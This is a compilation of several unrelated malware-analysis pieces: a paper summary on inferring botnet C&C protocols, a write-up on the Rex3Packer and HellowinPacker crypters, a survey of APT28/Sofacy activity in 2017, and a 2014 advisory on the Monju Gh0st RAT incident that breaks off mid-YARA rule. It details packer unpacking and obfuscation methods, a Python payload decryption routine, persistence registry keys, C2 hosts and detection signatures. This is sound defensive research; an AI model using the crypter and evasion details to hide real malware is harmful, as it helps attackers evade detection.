Modern malware increasingly instantiates botnets: networks of compromised computers that perform a diverse set of malicious activities. Usually motivated by financial gain, botnets incorporate a wide range of functionalities, such as launching DDoS and spam campaigns, stealing personal information, and committing e-commerce fraud. A crucial aspect of botnets, given their distributed nature, is network communication. Bots on infected machines routinely "phone home" to botnet servers, receive instructions, and perform data exfiltration. Understanding the semantics of botnet communications allows the analyst to quickly gain insight into the malware’s mechanisms and to generate network signatures to detect malicious traffic.
In order to understand bot network behavior, analysts use a variety of techniques such as manual traffic collection/inspection and sandboxed execution of malware. Increasing use of encrypted communication also imposes manual debugging of malware binaries to analyze and reverse encryption. These procedures are time-consuming, error-prone, and unable to cope with the rates at which new malware appears. Limited, manually-inferred protocol understanding may also result in ineffective signatures, which are excessively specific to the available traffic samples and can be easily circumvented.
In this paper, we propose a novel technique for automatic inference of malware network protocol specifications, given network traffic, and a practical, scalable solution to infer details of encryption used by malware in network protocols, leveraging state-of-the-art encryption analysis techniques.
## II. Overview
We decompose the problem of reverse-engineering C&C protocols into: (1) C&C traffic decryption, using dynamic analysis to extract encryption keys from malware executions, and (2) automatic derivation of protocol specification via type inference over decrypted C&C traffic.
### a) Encryption analysis
In step A, the malware of interest is executed in a sandbox which traces machine instructions, network system calls, and generated/received network packets. The instruction trace is then processed by a sequence of analysis steps.
### b) Protocol analysis
Most C&C protocols define multiple message types for different purposes. As each type has a distinct structure, it is crucial that messages are clustered by type, so each type can be analyzed separately.
## III. Protocol Inference
### A. Sandboxed execution
The first component of our system investigates whether the malware uses encryption algorithms. It begins by running the malware in a controlled environment consisting of a virtual machine augmented with program tracing. This stage collects three different program traces: a system call trace, an instruction trace, and a network trace of all packets generated by the sandbox.
### B. Encryption Analysis
Once traces of the malware execution are available, we analyze them to locate instances of encryption use.
1. **Candidate Detection**: This step executes a candidate detection procedure, which takes as input the instruction trace and locates a set of candidate encryption instances.
2. **Candidate Matching**: This step executes a candidate matching procedure which receives as input the set of candidate encryption instances and determines whether each candidate corresponds to the execution of an actual cipher.
3. **Key Type Inference/Decryption**: The next goal is to infer general information about how the malware performs encryption.
### C. Protocol Analysis
The goal of the next part is to analyze decrypted message samples to infer a protocol specification.
1. **Message Clustering**: This step determines a partition of the sample set, associating each sample with exactly one message type.
2. **Field inference**: The overall goal is to determine a partition of each message sample in a sequence of fields.
## IV. Evaluation
We evaluate our approach in depth showing that it can: (i) correctly identify encryption uses, (ii) effectively infer the structure of C&C messages, (iii) generate correct protocol specifications, and (iv) lead to effective network signatures.
### A. Malware Families under Examination
For our evaluation, we selected three malware families based on the level of understanding of the C&C protocol by the research community and the popularity of the malware in recent times.
### B. Infrastructure
Our sandbox implementation is based on the Cuckoo sandbox, extended with a custom analysis package based on PIN to generate instruction traces.
### C. Additional Datasets
In order to augment the diversity of our C&C dataset beyond the messages obtained from the sandbox, we integrated additional message datasets.
## V. Discussion
Our approach focuses on binary-only protocols due to their popularity, however, it is possible for malware to use text-based protocols. Although supporting them is outside the scope of this work, we note that the encryption analysis component can still be applied.
## VI. Related Work
Protocol reverse engineering techniques can be divided into three groups, depending on their input data. The first generates protocol specifications from network traces. The second group analyzes execution traces captured as a program is communicating over the network. The third group follows a hybrid approach.
## VII. Conclusion
In this paper, we present a solution to infer the format of malware binary C&C protocols. Our inference algorithm produces detailed protocol specifications, including rich content types—significantly alleviating the cumbersome and error-prone task of understanding malware communications manually. Our approach works in the presence of encryption, using program analysis to recover encryption keys. Evaluation results show that our approach is effective in decrypting malware samples and infers rich specifications, which generate effective network signatures for C&C protocols. |
# PaaS, or How Hackers Evade Antivirus Software
Malware is one of the main tools of any hacking group. Depending on the level of qualification and the specifics of operation, hackers can use both publicly available tools (such as the Cobalt Strike framework) and their own developments. Creating a unique set of tools for each attack requires huge resources; therefore, hackers tend to reuse malware in different operations and also share it with other groups. The mass use of the same tool inevitably leads to its getting on the radar of antivirus companies, which, as a result, reduces its efficiency.
To prevent it from happening, hackers use code packing, encryption, and mutation techniques. Such techniques can often be handled by separate tools called crypters or sometimes simply packers. In this article, we will use the example of the RTM banking trojan to discuss which packers attackers can use, how they complicate detection of the malware, and what other malware they can pack.
## Packer-as-a-Service
A hacker group responsible for RTM distribution regularly sent mass phishing emails with malicious attachments until the end of 2020. Apparently, the attacks were automated. Each attachment contained files that significantly differed from each other, but the final payload remained almost the same. Such feature is a natural consequence of using crypters. Initially, the group behind RTM used its own unique crypter. In 2020, however, the group changed it twice.
When analyzing samples packed in a new way, we detected numerous other malware protected by a similar method. Taking into account the fact that the packing process is automated, such overlapping with other malware allows us to assume that attackers use the packer-as-a-service model. In this model, packing of malicious files is delegated to a special service managed by a third party. Access to such services can often be found on sale on hacker forums.
### Rex3Packer
The first use of this packer by the RTM group that we detected dates back to November 2019. The group started actively using the packer in April–May 2020. Rare uses of the packer for distributing old versions of the RTM trojan were also observed in late January 2021. We couldn't associate this packer with any of the publicly described ones, so we named it according to three specifics of its working: recursion, bit reverse, and reflective loading of PE files (reflection), hence the name Rex3Packer.
#### Unpacking Algorithm
The overall algorithm for extracting the payload is as follows:
1. A predetermined amount of memory is allocated with read, write, and execute rights using VirtualAlloc.
2. The content of the current process image in the memory is copied to the allocated buffer (in particular, section .text).
3. Control passes to the function inside the buffer.
4. The difference is calculated between the location of data in the buffer and in the PE file image. This difference is written to the ebx register. All references to virtual addresses in code are indexed by the content of this register. As a result, wherever necessary, a correction is added to the PE image addresses that allows obtaining the corresponding address in the buffer.
5. Another buffer is allocated for packed data.
6. By calling VirtualProtect, RWX rights are assigned to the entire memory region with the PE file image.
7. The packed data is copied to the buffer.
8. The packed data is decoded.
9. The memory region with the PE image is filled with null bytes.
10. The decoded data represents an executable file—the PE payload. This payload is reflectively loaded to where the initial PE image was, and control passes to its entry point.
A specific algorithm for decoding packed data is of special interest to us. In this case, it would be incorrect to compare packing with compression, as the algorithm is such that the size of packed data is always bigger than that of the initial data. The packed data is preceded by a 16-byte header that contains four 4-byte fields:
- Size of the header
- Size of initial data (PE payload)
- Position in initial data at which they are divided
- Encoding mode (1, 2, or 4)
The decoding looks as follows:
1. Inside each byte, bit order is reversed.
2. Depending on encoding mode (1, 2, 4), data is divided into blocks with N size of 9, 5, or 3 bytes, respectively. The result of the block decoding is N-1 byte (8, 4, or 2).
3. In the first N-1 bytes of the block, some bits are missing: their values always equal zero. To restore the original bytes, the missing bits are extracted from the last byte of the block by using specific masks. As a result of "returning" these bits to the first and second bytes, an original sequence of two bytes is composed.
4. When bits are restored in all blocks, the obtained data represents the initial PE file divided by two parts at position (*). These parts, in turn, were swapped. The second rearrangement allows obtaining the original file.
#### Obfuscation
To complicate code analysis, various obfuscation techniques are used in the packer:
- In between the execution of significant code, various WinAPI functions are called. Their results are saved but not used, and the functions are selected so as not to affect the program operation.
- A typical feature of this packer is the presence of cycles (not performing useful operations) implemented via a recursive function.
- For further obfuscation, several dozens of randomly generated functions are added to the executable file. They may call each other, but none of them obtains control ever.
### Usage
In addition to RTM samples, we detected the use of Rex3Packer for packing various malware, mainly originating from the CIS countries. Below is the list with examples of such malware:
- **Phobos Ransomware**: 6e9c9b72d1bdb993184c7aa05d961e706a57b3becf151ca4f883a80a07fdd955
- **Zeppelin Ransomware**: 8d44fdbedd0ec9ae59fad78bdb12d15d6903470eb1046b45c227193b233adda6
- **Raccoon Stealer**: 3be91458baa365febafb6b33283b9e1d7e53291de9fec9d3050cd32d98b7a039
- **KPOT Stealer**: 9b6af2502547bbf9a64ccfb8889ee25566322da38e9e0ccb86b0e6131a67df1e
- **Predator The Thief**: d1060835793f01d1e137ad92e4e38ef2596f20b26da3d12abcc8372158764a8f
- **QakBot**: 18cc92453936d1267e790c489c419802403bb9544275b4a18f3472d2fe6f5dea
We also detected the use of this packer for packing malware samples of the Nemty, Pony, and Amadey families. This is not an exhaustive list of all cases of using Rex3Packer.
### HellowinPacker
In May 2020, RTM started using a new packer and went on using it until the beginning of 2021. We called it HellowinPacker because of the file name "hellowin.wav" we spotted in strings of some samples. The packer's key feature is two levels of code mutation. The first one significantly changes the unpacking code structure, making samples look different from each other. The second level only changes some details, and the code structure remains in general the same. The changes mainly affect assembler instructions and constants that do not impact the program operation. As a result, the code looks almost identical when decompiled.
Just like Rex3Packer, HellowinPacker is actively used by attackers to pack various malware. Note that malware from the same family has the same structure when packed. This lasts for at least some time, after which the structure can change.
All these features coincide with the description of a packing service the access to which is sold on hacker forums. Apparently, each unique crypter has its own structure of generated code. The crypter itself can also mutate code but at a lower level, without changing the program structure. In any case, the significant executable code remains the same.
#### Unpacking Algorithm
One of the first actions in all packed files is an attempt to open the registry key HKEY_CLASSES_ROOT\Interface\{b196b287-bab4-101a-b69c-00aa00341d07} and request a default value. Correct program operation in some modifications of generated code depends on whether these operations are successful. Interface GUIDs may also differ.
The subsequent code obtains the address at which a block of encrypted data is located. This block starts with a 4-byte number, which stores the size of initial data (those that will be obtained after decoding). By calling VirtualAlloc, a memory block of required size with RWX rights is allocated for decrypted data. Encrypted data is copied to the allocated memory by blocks of X bytes each. In the original file, "spaces" of Y byte length are located between these blocks.
Data is then decrypted by 4-byte blocks:
- Each next block is interpreted as an integer (DWORD).
- Index of the first byte in the block is added to the integer.
- An xor operation is executed between the obtained value and the sum of the index and a fixed key (Z number).
Example of algorithm implementation in Python:
```python
def decrypt(data, Z):
index = 0
while index < len(data):
dword = struct.unpack("<I", data[index:index + 4])[0]
dword = (dword + index) & (2 ** 32 - 1)
dword = dword ^ (index + Z)
data[index:index + 4] = struct.pack("<I", dword)
index += 4
```
Values X, Y, and Z vary depending on a particular packed sample. The next stage of extracting payload—the shellcode—is located inside the decrypted data. The shellcode takes control when the decryption ends. The shellcode dynamically loads functions required for its operation. These functions are listed in the "import table" located at the beginning of decrypted data.
For greater variability, the strings in the "import table" may be partially filled with random symbols. Right before processing the table, the shellcode restores correct values of all the symbols. Payload (this time, it is the PE file) is extracted by the shellcode from the rest of the decrypted data. It is encrypted again by the same algorithm as described above. For Z key, figure 1001 is always used. When the decryption is finished, the shellcode performs reflective loading of the PE file using the functions imported at the first stage.
#### Obfuscation
Just like Rex3Packer, HellowinPacker samples call WinAPI functions not related to the main program logic. However, in this case, they are mostly used to complicate behavior analysis and detection in sandboxes. This is also confirmed by the fact that in most cases various functions are called in a row at the very beginning of the program.
An additional effect of the WinAPI use is the impossibility of detection by a list of imported functions and by imphash. When working with various numeric values, a certain "arithmetic" obfuscation is often observed: necessary constants are represented as sums or differences of other constants. To obtain constants, WinAPI functions can also be called, yielding predictable results.
Various mutations are encountered at the assembler level as well: inserting junk code, using opaque predicates, calling functions with unused arguments and repeated calls of the functions, and replacing instructions with their equivalents.
### Usage
HellowinPacker exists at least since 2014 and has been so far used in various mass malware. Here are only a few examples:
- **Cerber Ransomware**: 1e8b814a4bd850fc21690a66159a742bfcec212ccab3c3153a2c54c88c83ed9d
- **ZLoader**: 44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b
- **Dridex**: f5dfbb67b582a58e86db314cc99924502d52ccc306a646da25f5f2529b7bff16
- **Bunitu**: 54ff90a4b9d4f6bb2808476983c1a902d7d20fc0348a61c79ee2a9e123054cce
- **QakBot**: c2482679c665dbec35164aba7554000817139035dc12efc9e936790ca49e7854
The packer has been frequently mentioned in reports by other researchers. The earliest mention we found dates back to 2015. In an article about crypters, Malwarebytes experts analyze malware samples that use HellowinPacker. Later, other researchers referred to it as the Emotet packer. In 2020, our colleagues from NCC Group called it CryptOne and described how it can be used to pack the WastedLocker ransomware. According to NCC Group, the crypter was also used by the Netwalker, Gozi ISFB v3, ZLoader, and Smokeloader malware families.
## Conclusion
Our example of using the crypters shows us how hackers can delegate responsibilities among each other, especially when it comes to mass malware. Developing malicious payload, protecting it from antivirus tools, and delivering it to end users—all this can be performed by completely unrelated hackers, and each element of this chain can be offered as a service. This approach lowers the cybercrime entry threshold for technically unskilled criminals: to conduct a mass attack, all they have to do is to provide a necessary amount of money to pay for all the services.
The packers we described are certainly not the only ones that exist on the market. However, they demonstrate the common features of such tools: as a result of their work, an executable file is obtained with obfuscated polymorphic code of the unpacker and a payload encrypted in some way or another. Mutations in code and reuse of the same crypters make static detection of payload almost impossible. However, since the payload is somehow decrypted to the memory and then starts its malicious activity, behavioral analysis using sandboxes allows detecting malware and providing accurate verdicts even for packed files. In addition, it should be noted that packers do not affect the interaction of malware with C&C servers in any way. This makes it possible to determine the presence of malware in the network using traffic analysis tools.
### IOCs (RTM)
| Detection Date | Crypter | SHA256 | SHA1 |
|----------------|------------------|------------------------------------------------------------------------|----------------------------|
| 19.04.2020 | RTM | a4229a54f76815ac30a2a878eadf275e199c82da657dbc5f3fc05fe95603c320 | ad22ceb309dd30dc769f63174292 |
| 22.04.2020 | Rex3Packer | 9b88e8143e4452229dac7fdcc3d9281d21390f286c086f09aec410f120dc4325 | f881729f6a5ca6fe80f385a2b0f858 |
| 13.05.2020 | HellowinPacker | 43e8ebacfa319ff7d871eef3cc35266cfa7c6f44dd787f27a48311e39727e10f | 8a28b75285409c55d5bbeca62e3 |
| 28.01.2021 | Rex3Packer (2 layers) | fbf5974daee93bf5a2ed1816a4edbb108ceccb264d3e3f72d0aed268dd45e315 | 2e3352c6341ce57a03aaf2c4fbf48 | |
# A Slice of 2017 Sofacy Activity
Sofacy, also known as APT28, Fancy Bear, and Tsar Team, is a highly active and prolific APT. From their high volume 0day deployment to their innovative and broad malware set, Sofacy is one of the top groups that we monitor, report, and protect against. 2017 was not any different in this regard. Our private reports subscription customers receive a steady stream of YARA, IOC, and reports on Sofacy, our most reported APT for the year.
This high level of cyber-espionage activity goes back years. In 2011-2012, the group used a relatively tiny implant (known as “Sofacy” or SOURFACE) as their first stage malware, which at the time had similarities with the old Miniduke implants. This made us believe the two groups were connected, although it looks they split ways at a certain point, with the original Miniduke group switching to the CosmicDuke implant in 2014. The division in malware was consistent and definitive at that point.
In 2013, the Sofacy group expanded their arsenal and added more backdoors and tools, including CORESHELL, SPLM (aka Xagent, aka CHOPSTICK), JHUHUGIT (which is built with code from the Carberp sources), AZZY (aka ADVSTORESHELL, NETUI, EVILTOSS, and spans across 4-5 generations) and a few others. We’ve seen quite a few versions of these implants, which were relatively widespread at some point or still are. In 2015 we noticed another wave of attacks which took advantage of a new release of the AZZY implant, largely undetected by antivirus products. The new wave of attacks included a new generation of USB stealers deployed by Sofacy, with initial versions dating to February 2015. It appeared to be geared exclusively towards high profile targets.
Sofacy’s reported presence in the DNC network alongside APT29 brought possibly the highest level of public attention to the group’s activities in 2016, especially when data from the compromise was leaked and “weaponized.” Later in 2016, their focus turned towards the Olympics and the World Anti-Doping Agency (WADA) and Court of Arbitration for Sports (CAS), when individuals and servers in these organizations were phished and compromised. In a similar vein with past CyberBerkut activity, attackers hid behind anonymous activist groups like “anonpoland,” and data from victimized organizations were similarly leaked and “weaponized.”
This write-up will survey notables in the past year of 2017 Sofacy activity, including their targeting, technology, and notes on their infrastructure. No one research group has 100% global visibility, and our collected data is presented accordingly. Here, external APT28 reports on 2017 Darkhotel-style activity in Europe and Dealer’s Choice spearphishing are of interest. From where we sit, 2017 Sofacy activity starts with a heavy focus on NATO and Ukrainian partners, coinciding with lighter interest in Central Asian targets, and finishing the second half of the year with a heavy focus on Central Asian targets and some shift further East.
## Dealer’s Choice
The beginning of 2017 began with a slow cleanup following the Dealer’s Choice campaign, with technical characteristics documented by our colleagues at Palo Alto in several stages at the end of 2016. The group spearphished targets in several waves with Flash exploits leading to their Carberp-based JHUHUGIT downloaders and further stages of malware. It seems that many folks did not log in and pull down their emails until January 2017 to retrieve the Dealer’s Choice spearphish. Throughout these waves, we observed that the targets provided connection, even tangential, to Ukraine and NATO military and diplomatic interests.
In multiple cases, Sofacy spoofs the identity of a target and emails a spearphish to other targets of interest. Often these are military or military-technology and manufacturing related, and here, the DealersChoice spearphish is again NATO related.
The global reach that coincided with this focus on NATO and Ukraine couldn’t be overstated. Our KSN data showed spearphishing targets geolocated across the globe into 2017: AM, AZ, FR, DE, IQ, IT, KG, MA, CH, UA, US, VN. DealersChoice emails, like the one above, that we were able to recover from third party sources provided additional targeting insight, and confirmed some of the targeting within our KSN data: TR, PL, BA, AZ, KR, LV, GE, LV, AU, SE, BE.
## 0day Deployment(s)
Sofacy kicked off the year deploying two 0day in a spearphish document, both a Microsoft Office encapsulated postscript type confusion exploit (abusing CVE-2017-0262) and an escalation of privilege use-after-free exploit (abusing CVE-2017-0263). The group attempted to deploy this spearphish attachment to push a small 30kb backdoor known as GAMEFISH to targets in Europe at the beginning of 2017. They took advantage of the Syrian military conflict for thematic content and file naming “Trump’s_Attack_on_Syria_English.docx.” Again, this deployment was likely a part of their focus on NATO targets.
## Light SPLM Deployment in Central Asia and Consistent Infrastructure
Meanwhile, in early-to-mid 2017, SPLM/CHOPSTICK/XAgent detections in Central Asia provided a glimpse into ongoing focus on ex-Soviet republics in Central Asia. These particular detections are interesting because they indicate an attempted selective 2nd stage deployment of a backdoor maintaining filestealer, keylogger, and remoteshell functionality to a system of interest. As the latest revision of the backdoor, portions of SPLM didn’t match previous reports on SPLM/XAgent while other similarities were maintained. SPLM 64-bit modules already appeared to be at version 4 of the software by May of the year. Targeting profiles included defense related commercial and military organizations, and telecommunications. Targeting included TR, KZ, AM, KG, JO, UK, UZ.
## Heavy Zebrocy Deployments
Since mid-November 2015, the threat actor referred to as “Sofacy” or “APT28” has been utilizing a unique payload and delivery mechanism written in Delphi and AutoIT. We collectively refer to this package and related activity as “Zebrocy” and had written a few reports on its usage and development by June 2017 – Sofacy developers modified and redeployed incremented versions of the malware. The Zebrocy chain follows a pattern: spearphish attachment -> compiled Autoit script (downloader) -> Zebrocy payload. In some deployments, we observed Sofacy actively developing and deploying a new package to a much smaller, specific subset of targets within the broader set.
Targeting profiles, spearphish filenames, and lures carry thematic content related to visa applications and scanned images, border control administration, and various administrative notes. Targeting appears to be widely spread across the Middle East, Europe, and Asia:
- Business accounting practices and standards
- Science and engineering centers
- Industrial and hydrochemical engineering and standards/certification
- Ministry of foreign affairs
- Embassies and consulates
- National security and intelligence agencies
- Press services
- Translation services
- NGO – family and social service
- Ministry of energy and industry
We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. The components were an unexpected inclusion in this particular toolset. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration. The stealer searches for files 60mb and less with these extensions:
- .doc
- .docx
- .xls
- .xlsx
- .ppt
- .pptx
- .exe
- .zip
- .rar
At execution, it installs an application-defined Windows hook. The hook gets windows messages indicating when a network drive has been attached. Upon adding a network drive, the hook calls its “RecordToFile” file stealer method.
Zebrocy spearphishing targets: AF, AM, AU, AZ, BD, BE, CN, DE, ES, FI, GE, IL, IN, JO, KW, KG, KZ, LB, LT, MN, MY, NL, OM, PK, PO, SA, ZA, SK, SE, CH, TJ, TM, TR, UA, UAE, UK, US, UZ.
## SPLM Deployment in Central Asia
SPLM/CHOPSTICK components deployed throughout 2017 were native 64-bit modular C++ Windows COM backdoors supporting http over fully encrypted TLSv1 and TLSv1.2 communications, mostly deployed in the second half of 2017 by Sofacy. Earlier SPLM activity deployed 32-bit modules over unencrypted http (and sometimes smtp) sessions. In 2016 we saw fully functional, very large SPLM/X-Agent modules supporting OS X.
The executable module continues to be part of a framework supporting various internal and external components communicating over internal and external channels, maintaining slightly morphed encryption and functionality per deployment. Sofacy selectively used SPLM/CHOPSTICK modules as second stage implants to high interest targets for years now. In a change from previous compilations, the module was structured and used to inject remote shell, keylogger, and filesystem add-ons into processes running on victim systems and maintaining functionality that was originally present within the main module.
The newer SPLM modules are deployed mostly to Central Asian based targets that may have a tie to NATO in some form. These targets include foreign affairs government organizations both localized and abroad, and defense organizations’ presence localized, located in Europe and also located in Afghanistan. One outlier SPLM target profile within our visibility includes an audit and consulting firm in Bosnia and Herzegovina.
Minor changes and updates to the code were released with these deployments, including a new mutex format and the exclusive use of encrypted HTTP communications over TLS. The compiled code itself already is altered per deployment in multiple subtle ways, in order to stymie identification and automated analysis and accommodate targeted environments. Strings (c2 domains and functionality, error messages, etc.) are custom encrypted per deployment. Targets: TR, KZ, BA, TM, AF, DE, LT, NL.
## SPLM/CHOPSTICK/XAgent Modularity and Infrastructure
This subset of SPLM/CHOPSTICK activity leads into several small surprises that take us into 2018, to be discussed in further detail at SAS 2018. The group demonstrates malleability and innovation in maintaining and producing familiar SPLM functionality, but the pragmatic and systematic approach towards producing undetected or difficult-to-detect malware continues. Changes in the second stage SPLM backdoor are refined, making the code reliably modular.
## Infrastructure Notes
Sofacy set up and maintained multiple servers and c2 for varying durations, registering fairly recognizable domains with privacy services, registrars that accept bitcoin, fake phone numbers, phony individual names, and 1 to 1 email address to domain registration relationships. Some of this activity and patterns were publicly disclosed, so we expect to see more change in their process in 2018. Also, throughout the year and in previous years, researchers began to comment publicly on Sofacy’s fairly consistent infrastructure setup.
As always, attackers make mistakes and give away hints about what providers and registrars they prefer. It’s interesting to note that this version of SPLM implements communications that are fully encrypted over HTTPS. As an example, we might see extraneous data in their SSL/TLS certificates that give away information about their provider or resources. Leading up to summer 2017, infrastructure mostly was created with PDR and Internet Domain Service BS Corp, and their resellers. Hosting mostly was provided at Fast Serv Inc and resellers, in all likelihood related to bitcoin payment processing.
Accordingly, the server side certificates appear to be generated locally on VPS hosts that exclusively are paid for at providers with bitcoin merchant processing. One certificate was generated locally on what appeared to be a HP-UX box, and another was generated on “8569985.securefastserver[.]com” with an email address “[email protected][.]com,” as seen here for their nethostnet[.]com domain. This certificate configuration is ignored by the malware.
In addition to other IP data, this data point suggested that Qhoster at https://www.qhoster[.]com was a VPS hosting reseller of choice at the time. It should be noted that the reseller accepted various payment methods including Bitcoin, Litecoin, and others.
## Conclusion
Sofacy, one of the most active APT we monitor, continues to spearphish their way into targets, reportedly widely phishes for credentials, and infrequently participates in server side activity (including host compromise with BeEF deployment, for example). KSN visibility and detections suggest a shift from their early 2017 high volume NATO spearphish targeting towards the Middle East and Central Asia, and finally moving their focus further east into late 2017. Their operational security is good. Their campaigns appear to have broken out into subsets of activity and malware involving GAMEFISH, Zebrocy, and SPLM, to name a few. Their evolving and modified SPLM/CHOPSTICK/XAgent code is a long-standing part of Sofacy activity, however much of it is changing. We’ll cover more recent 2018 change in their targeting and the malware itself at SAS 2018.
With a group like Sofacy, once their attention is detected on a network, it is important to review logins and unusual administrator access on systems, thoroughly scan and sandbox incoming attachments, and maintain two-factor authentication for services like email and VPN access. In order to identify their presence, not only can you gain valuable insight into their targeting from intelligence reports and gain powerful means of detections with hunting tools like YARA, but out-of-band processing with a solution like KATA is important. |
# TLP: WHITE
## Context Threat Intelligence
### Threat Advisory
### The Monju Incident
**Context Ref:** TA10009
**Author:** Context Threat Intelligence (CTI)
**Date:** 27/01/2014
**Tel:** +44 (0) 20 7537 7515
**Fax:** +44 (0) 20 7537 1071
**Email:** [email protected]
---
## 1 Distribution
Context Information Security distributes Context Threat Intelligence (CTI) reporting under the Traffic Light Protocol (TLP), a method of classifying a document to promote the distribution of sensitive information between individuals, organisations, or communities in a controlled and trusted way, based on the originator’s wishes.
The various levels of the TLP are represented by the following colours:
- **RED** - Personal; for named recipients only. Sources may use TLP: RED when information cannot be effectively acted upon by additional parties and could lead to impacts on a party's privacy, reputation, or operations if misused. Recipients may not share TLP: RED information with any parties outside of the specific exchange, meeting, or conversation in which it is originally disclosed. TLP: RED information will be passed verbally or in person.
- **AMBER** - Limited Distribution. Sources may use TLP: AMBER when information requires support to be effectively acted upon but carries risks to privacy, reputation, or operations if shared outside of the organisations involved. Recipients may only share TLP: AMBER information with members of their own organisation who need to know, and only as widely as necessary to act on that information.
- **GREEN** – Community Wide. Sources may use TLP: GREEN when information is useful for the awareness of all participating organisations as well as with peers within the broader community or sector. Recipients may share TLP: GREEN information with peers and partner organisations within their sector or community, but not via publicly accessible channels such as publication or posting publicly on the Internet.
- **WHITE** - Unlimited Distribution. Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP: WHITE information may be distributed freely, without restriction.
---
## 2 Executive Summary
On 2nd January 2014, a Systems Administrator at the Monju fast breeder reactor facility in Japan noticed suspicious connections emanating from a machine in the control room, coinciding with what was a seemingly routine software update to a free media player. Among other items, staff training documents and more than 40,000 emails were stored on the machine and thought to be harvested by the attacker. The Japanese Atomic Energy Agency is investigating further.
The attack appears to have been the result of the attackers having compromised the ‘GOM Player’ update server and having it act as a ‘watering hole’, meaning that machines which access the site are delivered malware. GOM Player originates in South Korea and in some parts of Asia it is a popular alternative to Windows Media Player. It is unclear whether every machine trying to download an update received this malware or whether only machines which fitted a certain profile were infected.
Technical analysis of the implant on the compromised machine has shown it to be a variant of a Trojan which has been in the wild for some years now and continues to be effective. The ‘Gh0st RAT’ has been used extensively in attacks linked to the Chinese state, though it is important to remember that the code is publicly available and can be modified and used by anyone. The targeting of a Japanese nuclear facility, however, is consistent with Chinese state intelligence requirements. If this is the work of a Chinese group, then we feel the targeting may go much further than the Civil Nuclear sector and thus be of interest to the wider Energy Sector and industry as a whole.
In order to inform the Energy Sector and beyond about this attack, we have compiled a technical summary of the attack and have provided a number of Indicators Of Compromise (IOCs) which can be used to aid detection. It is likely that the attackers would redeploy their implant against other targets, albeit with a delivery mechanism more tailored to the location of the intended victims.
---
## 3 The Monju Incident
### 3.1 Infection Vector
Based on open source reporting, it appears that the intrusion took place via the compromise of the GOM Player update server (app.gomlab.com), where attackers may have gained entry via a PHP-based webshell, hidden within an image, present on the host since October 2011. The observed malicious activity relates to the modification of a file that controls GOM Player updates, spanning the date range 27th December 2013 to 16th January 2014, during which time these alterations are reported to have only manifested themselves for visitors on certain IP ranges; evidence supporting this claim has not yet been made public. If this was indeed the case, then the nature of this attack is certainly more targeted than one that would cover the entire userbase of the GOM Player product, with victims comprising of the Japanese Government in addition to those at the Monju nuclear facility.
The modified file redirected the GOM Player update process to another compromised server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the legitimate update and the malware was delivered to the victim.
### 3.2 Malware
#### 3.2.1 Overview
Deployed to the system via a compressed bundle containing the official GOM Player setup binary and a self-extracting RAR archive containing the malicious files, the malware consists of a number of individual pieces. Upon extraction from the RAR archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is automatically launched alongside the GOM Player update, distracting victims from the malicious activity taking place.
The installer component is referred to by the author as ‘miansha', which, according to an East Asia Cyber Threat Intelligence Researcher, is likely Miǎnshā (免杀), a phrase commonly used by People’s Republic of China (PRC) hackers to mean ‘anti Antivirus detection’ or ‘Antivirus avoidance’; Symantec have named the detection for this code ‘Backdoor.Miancha’, where Miǎnchá (免查, likely shorthand for 免杀查) similarly means ‘Antivirus avoidance’. The installer is responsible for the malware persistence mechanism, adding entries to the registry in the following locations, depending on Windows Version:
**Miancha Persistence Registry Keys**
**Windows Vista and later:**
HKEY_USERS\.default\Software\Classes\CLSID\{ECD4FC4D-5213-11D0-B792-00A0C90312E1}\InProcServer32\@ = expand:"C:\WINDOWS\temp\install.ocx"
**Prior to Windows Vista:**
HKEY_USERS\.default\Software\Classes\CLSID\{B12AE898-D056-4378-A844-6D393FE37956}\InProcServer32\@ = expand:"C:\WINDOWS\temp\install.ocx"
The installer will also determine the system architecture (32- or 64-bit) and then deobfuscate the relevant loader DLL to the path ‘C:\Windows\temp\install.ocx’, ensuring the malware is launched on system start-up. Oddly, this file is padded with null bytes, resulting in a 25 megabyte file.
The main implant code is stored in files named instructions.pdf and instructions64.pdf; not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar to the malware loader DLLs. The loader, referred to by the malware author as 壳 (shell), reads and deobfuscates the main implant code which then communicates with the attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443. The main implant code is referred to as 白加黑 (‘Black on White’), a term used in the PRC hacking community to denote the act of Antivirus avoidance through the loading of malicious ‘black’ code via non-malicious or trusted ‘white‘ code. This is a practice recently illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking alongside a signed (trusted) executable.
Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by Chinese actors (including those who are state-motivated or directly state-sponsored). This specific variant shows similarities to that used during the VOHO campaign, where Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging to financial services and technology companies. Specifically, the initial five bytes of the communications (often used to denote a campaign or victim) are ‘HTTPS’, amended from the original ‘Gh0st’; the same as the traffic produced by the VOHO Gh0st variant. In addition to delivering system-specific details back to the attacker, Gh0st RAT provides the capability to deploy additional malware, enabling the harvesting of sensitive data and enabling the further propagation throughout the infected network.
#### 3.2.2 Detection
To enable rapid response, the following Snort signature can be deployed:
```
alert tcp $HOME_NET any -> $EXTERNAL_NET 53,80,443,1080 (msg:"gh0st RAT 'HTTPS' variant (aka Backdoor.Miancha)"; flow:established,to_server; content:"HTTPS"; depth:5; rawbytes; classtype:trojan-activity; sid:xxx; rev:1;)
```
Additionally, the following Yara signature should identify both encoded payloads and the active implant in memory:
```
rule Trojan_W32_Gh0stMiancha_1_0_0 {
strings:
